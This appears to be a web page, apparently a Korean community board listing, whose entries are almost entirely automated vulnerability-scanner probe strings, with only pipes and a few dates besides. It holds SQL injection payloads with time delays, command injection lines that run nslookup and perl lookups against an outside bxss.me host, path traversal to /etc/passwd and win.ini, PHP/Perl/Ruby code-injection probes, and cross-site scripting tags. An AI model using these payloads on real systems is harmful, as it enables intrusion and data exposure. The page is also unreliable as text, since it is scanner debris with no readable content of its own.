|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 ::
|
-1 OR 2+960-960-1=0+0+0+1 --
|
|
|
|
|
1 ::
|
-1 OR 2+43-43-1=0+0+0+1
|
|
|
|
|
1 ::
|
-1' OR 2+338-338-1=0+0+0+1 --
|
|
|
|
|
1 ::
|
-1' OR 2+870-870-1=0+0+0+1 or 'Qs5cEfcw'='
|
|
|
|
|
1 ::
|
-1" OR 2+758-758-1=0+0+0+1 --
|
|
|
|
|
|
|
1 ::
|
if(now()=sysdate(),sleep(12),0)
|
|
|
|
|
1 ::
|
0'XOR(if(now()=sysdate(),sleep(12),0))XOR'Z
|
|
|
|
|
1 ::
|
response.write(9649246*9974886)
|
|
|
|
|
1 ::
|
echo yqmfqc$()\ gnketr\nz^xyu||a #' &echo yqmfqc$()\ gnketr\nz^xyu||a #|" &echo yqmfqc$()\ gnketr\nz^xyu||a #
|
|
|
|
|
1 ::
|
'+response.write(9649246*9974886)+'
|
|
|
|
|
1 ::
|
&echo eprpvr$()\ bwjhek\nz^xyu||a #' &echo eprpvr$()\ bwjhek\nz^xyu||a #|" &echo eprpvr$()\ bwjhek\nz^xyu||a #
|
|
|
|
|
1 ::
|
"+response.write(9649246*9974886)+"
|
|
|
|
|
1 ::
|
|echo ptkriv$()\ gwiuhv\nz^xyu||a #' |echo ptkriv$()\ gwiuhv\nz^xyu||a #|" |echo ptkriv$()\ gwiuhv\nz^xyu||a #
|
|
|
|
|
1 ::
|
(nslookup hitanbudxgvkrbcb9f.bxss.me||perl -e "gethostbyname('hitanbudxgvkrbcb9f.bxss.me')")
|
|
|
|
|
1 ::
|
$(nslookup hitnttjdlqnusc654f.bxss.me||perl -e "gethostbyname('hitnttjdlqnusc654f.bxss.me')")
|
|
|
|
|
1 ::
|
&(nslookup hitztktjxzvol7c588.bxss.me||perl -e "gethostbyname('hitztktjxzvol7c588.bxss.me')")&'\"`0&(nslookup hitztktjxzvol7c588.bxss.me||perl -e "gethostbyname('hitztktjxzvol7c588.bxss.me')")&`'
|
|
|
|
|
1 ::
|
0"XOR(if(now()=sysdate(),sleep(12),0))XOR"Z
|
|
|
|
|
response.write(94119 ::
|
555
|
|
|
|
|
1 ::
|
|(nslookup hittgdfoxtucr67742.bxss.me||perl -e "gethostbyname('hittgdfoxtucr67742.bxss.me')")
|
|
|
|
|
'+response.write(941 ::
|
555
|
|
|
|
|
1 ::
|
`(nslookup hitymfltrxxnp5819a.bxss.me||perl -e "gethostbyname('hitymfltrxxnp5819a.bxss.me')")`
|
|
|
|
|
"+response.write(941 ::
|
555
|
|
|
|
|
1 ::
|
;(nslookup hitqofwyabvwg1d09e.bxss.me||perl -e "gethostbyname('hitqofwyabvwg1d09e.bxss.me')")|(nslookup hitqofwyabvwg1d09e.bxss.me||perl -e "gethostbyname('hitqofwyabvwg1d09e.bxss.me')")&(nslookup hitqofwyabvwg1d09e.bxss.me||perl -e "gethostbyname('hitqofwyabvwg1d09e.bxss.me')")
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
echo wbwdnk$()\ gtuj ::
|
555
|
|
|
|
|
|
|
&echo ymxfpf$()\ ksp ::
|
555
|
|
|
|
|
|
|
|
|
|echo apypda$()\ jpt ::
|
555
|
|
|
|
|
|
|
(nslookup hitzhjxxpp ::
|
555
|
|
|
|
|
|
|
|
|
|
|
$(nslookup hitdirdyx ::
|
555
|
|
|
|
|
|
|
1 ::
|
12345'"\'\");|]* {
< >�''�윊�
|
|
|
|
|
|
|
1 ::
|
../../../../../../../../../../etc/passwd
|
|
|
|
|
|
|
1 ::
|
../../../../../../../../../../windows/win.ini
|
|
|
|
|
&(nslookup hitztmaib ::
|
555
|
|
|
|
|
|(nslookup hitosppqg ::
|
555
|
|
|
|
|
1 ::
|
(select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/
|
|
|
|
|
|
|
`(nslookup hitdndpis ::
|
555
|
|
|
|
|
12345'"\'\");|]* {
::
|
555
|
|
|
|
|
;(nslookup hitbaczgt ::
|
555
|
|
|
|
|
|
|
1 ::
|
555<esi:include src="http://bxss.me/rpb.png"/>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
../../../../../../.. ::
|
555
|
|
|
|
|
|
|
../../../../../../.. ::
|
555
|
|
|
|
|
|
|
|
|
|
|
${9999935+10000085} ::
|
555
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 ::
|
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
|
|
|
|
|
|
|
1 ::
|
1some_inexistent_file_with_long_name .jpg
|
|
|
|
|
|
|
|
|
1 ::
|
Http://bxss.me/t/fit.txt
|
|
|
|
|
|
|
|
|
1 ::
|
http://bxss.me/t/fit.txt?.jpg
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
http://some-inexiste ::
|
555
|
|
|
|
|
|
|
|
|
1some_inexistent_fil ::
|
555
|
|
|
|
|
1 ::
|
-1; waitfor delay '0:0:12' --
|
|
|
|
|
|
|
|
|
|
|
Http://bxss.me/t/fit ::
|
555
|
|
|
|
|
|
|
|
|
|
|
http://bxss.me/t/fit ::
|
555
|
|
|
|
|
|
|
1 ::
|
^(#$!@#$)(()))******
|
|
|
|
|
|
|
|
|
|
|
|
|
1 ::
|
'.gethostbyname(lc('hitnz'.'plzzgkaefe389.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(80).chr(104).chr(89).'
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
^(#$!@#$)(()))****** ::
|
555
|
|
|
|
|
|
|
|
|
|
|
1 ::
|
';print(md5(31337));$a='
|
|
|
|
|
1 ::
|
";print(md5(31337));$a="
|
|
|
|
|
1 ::
|
${@print(md5(31337))}
|
|
|
|
|
|
|
|
|
1 ::
|
${@print(md5(31337))}\
|
|
|
|
|
|
|
|
|
|
|
1 ::
|
'.print(md5(31337)).'
|
|
|
|
|
|
|
|
|
|
|
1 ::
|
".gethostbyname(lc("hitmz"."pieyqabt0ef14.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(77).chr(108).chr(71)."
|
|
|
|
|
|
|
|
|
|
|
|
|
;print(md5(31337)); ::
|
555
|
|
|
|
|
';print(md5(31337)); ::
|
555
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
";print(md5(31337)); ::
|
555
|
|
|
|
|
1 ::
|
HttP://bxss.me/t/xss.html?%00
|
|
|
|
|
'.gethostbyname(lc(' ::
|
555
|
|
|
|
|
${@print(md5(31337)) ::
|
555
|
|
|
|
|
|
|
1 ::
|
bxss.me/t/xss.html?%00
|
|
|
|
|
${@print(md5(31337)) ::
|
555
|
|
|
|
|
1 ::
|
"+"A".concat(70-3).concat(22*4).concat(114).concat(86).concat(109).concat(80)+(require"socket"
Socket.gethostbyname("hitvl"+"cpxvmkag83254.bxss.me.")[3].to_s)+"
|
|
|
|
|
'.print(md5(31337)). ::
|
555
|
|
|
|
|
|
|
|
|
".gethostbyname(lc(" ::
|
555
|
|
|
|
|
|
|
|
|
|
|
|
|
HttP://bxss.me/t/xss ::
|
555
|
|
|
|
|
bxss.me/t/xss.html?% ::
|
555
|
|
|
|
|
|
|
|
|
|
|
|
|
1 ::
|
'+'A'.concat(70-3).concat(22*4).concat(102).concat(81).concat(107).concat(70)+(require'socket'
Socket.gethostbyname('hitfi'+'tpizgbai3e1cb.bxss.me.')[3].to_s)+'
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
"+"A".concat(70-3).c ::
|
555
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 ::
|
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
|
|
|
|
|
|
|
|
|
)))))))))))))))))))) ::
|
555
|
|
|
|
|
|
|
'+'A'.concat(70-3).c ::
|
555
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 ::
|
555'"()&%<acx><ScRiPt >ryOC(9559)</ScRiPt>
|
|
|
|
|
|
|
1 ::
|
'"()&%<acx><ScRiPt >ryOC(9959)</ScRiPt>
|
|
|
|
|
|
|
|
|
1 ::
|
-1); waitfor delay '0:0:12' --
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
 |
 |
 |
2003/06/05 |
3820 |
 |
 |
 |
2017/07/28 |
11 |
|
|
|
| |
커뮤니티
